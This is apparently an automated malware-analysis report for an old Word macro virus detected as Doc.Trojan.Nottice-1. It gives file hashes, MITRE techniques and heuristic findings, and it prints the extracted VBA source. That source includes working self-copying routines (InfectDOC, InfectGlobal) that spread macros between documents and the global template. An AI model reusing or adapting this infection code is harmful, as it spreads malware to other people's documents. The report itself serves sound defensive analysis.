Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eff9a0f99408e73b…

MALICIOUS

Office (OLE)

35.0 KB Created: 1998-06-04 15:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 21e6a82fe41fd597846d3a761a0dd1d8 SHA-1: 37ce67ecb79acb42b0be4db2a85182f2c7f437de SHA-256: eff9a0f99408e73ba5bcd76ec00d6fbaa85c93af8dfbce92b5aa3a545281f888
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros. The AutoOpen and Auto_Close macros, along with a WININIT macro, are designed to copy themselves to the global template and infect other documents. This behavior suggests a macro-based downloader or worm functionality, aiming to spread itself.

Heuristics 5

  • ClamAV: Doc.Trojan.Nottice-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nottice-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1357 bytes
SHA-256: d8e4ca5f80fa985d9894937854d32364e85f0ae7a576344cef90301a241c45e5
Detection
ClamAV: Doc.Trojan.Nottice-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Private Function VI()
Dim i
VI = 0
If WordBasic.CountMacros(1) > 0 Then
    For i = 1 To WordBasic.CountMacros(1)
                If WordBasic.[MacroName$](i, 1) = "WININIT" Then
                             VI = 1
        End If
    Next i
End If
End Function

Private Function VI2()
Dim i
VI2 = 0
If WordBasic.CountMacros(0) > 0 Then
    For i = 1 To WordBasic.CountMacros(0)
                If WordBasic.[MacroName$](i, 0) = "WININIT" Then
                             VI2 = 1
        End If
    Next i
End If
End Function

Private Sub InfectDOC()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:WININIT", WordBasic.[FileName$]() + ":WININIT"
WordBasic.FileSaveAll 1, 1
End Sub

Private Sub InfectGlobal()
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":WININIT", "Global:WININIT"
WordBasic.FileSaveAll 1, 0
End Sub

Attribute VB_Name = "WININIT"

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